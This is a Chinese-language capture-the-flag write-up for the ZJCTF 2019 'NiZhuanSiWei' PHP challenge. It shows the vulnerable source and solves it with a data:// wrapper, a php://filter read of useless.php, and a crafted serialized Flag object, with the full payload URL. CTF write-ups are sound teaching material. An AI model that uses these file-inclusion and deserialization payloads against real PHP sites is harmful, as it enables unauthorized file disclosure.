[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

[ZJCTF 2019]NiZhuanSiWei

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)

题目源码:

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数

2、file_get_contents($text,'r')的内容要等于welcome to the zjctf才能继续,我们又不知道哪个文件是这个内容,所以直接data伪协议传文件

3、file值不能包含flag

4、提示我们去包含useless.php(先看源码再包含)

5、password需要传递序列化数据(肯定有类给我们)

1.2 解题

  1. ?text=data://text/plain,welcome to the zjctf

  2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

    php 复制代码
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
    
    解码得到:
    <?php  
    	class Flag{  //flag.php  
    	    public $file;  
    	    public function __tostring(){  
    	        if(isset($this->file)){  
    	            echo file_get_contents($this->file); 
    	            echo "<br>";
    	        return ("U R SO CLOSE !///COME ON PLZ");
    	        }  
    	    }  
    	}  
    ?>  
  3. flag在flag.php中,我们的目标是toString的file_get_contents
    构造pop链

    php 复制代码
    <?php  
    	class Flag{  //flag.php  
    		public $file;  
    		public function __tostring(){  
    			if(isset($this->file)){  
    				echo file_get_contents($this->file); 
    				echo "<br>";
    				return ("U R SO CLOSE !///COME ON PLZ");
    			}  
    		}  
    	}  
    	$f = new Flag();
    	$f->file = "flag.php";
    	echo serialize($f);
    ?>  
    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
  4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    注意:此时file需要真正包含useless.php

相关推荐
!!!!!!!!!!!!!!!!.39 分钟前
CTF WEB入门 命令执行篇29-49
笔记·安全
用户3074596982071 小时前
门面(Facade)—— 静态语法的“动态伪装术”
后端·php
云边有个稻草人2 小时前
Rust 借用分割技巧:安全解构复杂数据结构
数据结构·安全·rust
Cyyyy_g3 小时前
【2025 SWPU-NSSCTF 秋季训练赛】WebFTP
安全·网络安全
Olafur_zbj3 小时前
【IC】NoC设计入门 -- 网络接口NI Slave
前端·javascript·php
unable code4 小时前
攻防世界-Misc-pdf
网络安全·ctf·misc·1024程序员节
Wang's Blog4 小时前
Nestjs框架: gRPC微服务通信及安全实践全解析
安全·微服务·架构·nestjs
MicroTech20255 小时前
微算法科技(NASDAQ MLGO):以隐私计算区块链筑牢多方安全计算(MPC)安全防线
科技·安全·区块链
网安小白的进阶之路6 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-4
网络·web安全·php
落一落,掉一掉6 小时前
第十五周Fscan和利用漏洞上线远程和数据库提权上线远控
安全·web安全